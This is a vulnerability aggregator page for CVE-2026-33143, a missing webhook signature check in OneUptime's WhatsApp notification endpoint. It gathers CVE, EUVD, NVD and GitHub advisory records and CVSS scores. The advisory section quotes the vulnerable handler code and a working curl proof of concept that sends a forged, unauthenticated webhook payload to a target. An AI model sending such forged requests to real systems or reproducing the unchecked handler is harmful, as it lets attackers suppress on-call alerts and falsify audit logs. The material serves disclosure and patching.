CVE-2026-33143Published

OneUptime: WhatsApp Webhook Missing Signature Verification

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-33143

Published

OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. This issue has been patched in version 10.0.34.

Source published: 20 Mar 2026 20:05:13 UTC
Source modified: 24 Mar 2026 02:01:35 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-13780

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 20, 2026, 8:05:13 PM

dateUpdated: Mar 24, 2026, 2:01:35 AM

Source published: Mar 20, 2026, 8:05:13 PM (timezone not stated)
Source modified: Mar 24, 2026, 2:01:35 AM (timezone not stated)
Observed here: 11 Nov 2026 08:35:31 UTC
Source terms: ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-33143

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-345

Original publisher date fields

published: 2026-03-20T21:17:14.933

lastModified: 2026-10-07T08:10:00.200

1 source CPE criteria · context only

cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 20 Mar 2026 21:17:14 UTC
Source modified: 7 Oct 2026 08:10:00 UTC
Observed here: 25 Oct 2026 08:17:18 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

osv · GHSA-g5ph-f57v-mwjc

Published

### Summary The WhatsApp POST webhook handler (`/notification/whatsapp/webhook`) processes incoming status update events without verifying the Meta/WhatsApp `X-Hub-Signature-256` HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. ### Details **Vulnerable code — `App/FeatureSet/Notification/API/WhatsApp.ts` lines 372-430:** ```typescript router.post( "/webhook", async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => { try { const body: JSONObject = req.body as JSONObject; // NO signature verification! No X-Hub-Signature-256 check! if ( (body["object"] as string | undefined) !== "whatsapp_business_account" ) { return Response.sendEmptySuccessResponse(req, res); } const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined; // ... processes entries and updates WhatsApp log status records ``` Compare with the Slack webhook which correctly validates signatures: **`Common/Server/Middleware/SlackAuthorization.ts` line 58:** ```typescript const isValid = crypto.timingSafeEqual( Buffer.from(computedSignature), Buffer.from(slackSignature) ); ``` The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification. No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue. ### PoC **Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration) ```bash # Forge a delivery status update for any WhatsApp notification — no auth, no signature curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \ -H "Content-Type: application/json" \ -d '{ "object": "whatsapp_business_account", "entry": [{ "id": "FAKE_WABA_ID", "changes": [{ "value": { "messaging_product": "whatsapp", "metadata": { "display_phone_number": "+15550000000", "phone_number_id": "FAKE_PHONE_ID" }, "messages": [{ "from": "15551234567", "id": "wamid.FAKE", "timestamp": "1234567890", "text": {"body": "INJECTED_MESSAGE"}, "type": "text" }] }, "field": "messages" }] }] }' ``` **Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):** ``` < HTTP/1.1 200 OK {} ``` - Fake WhatsApp webhook payload accepted with HTTP 200 - No `X-Hub-Signature-256` header provided — no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates ### Impact Any unauthenticated remote attacker can forge WhatsApp webhook events: - **False delivery status:** Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators - **Alert suppression:** Critical on-call notifications that failed to deliver appear successful, preventing escalation - **Log manipulation:** WhatsApp notification logs updated with forged status data, corrupting audit trails - **Incident response disruption:** During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries

Source published: 18 Mar 2026 17:25:02 UTC
Source modified: 20 Mar 2026 21:59:53 UTC
Observed here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH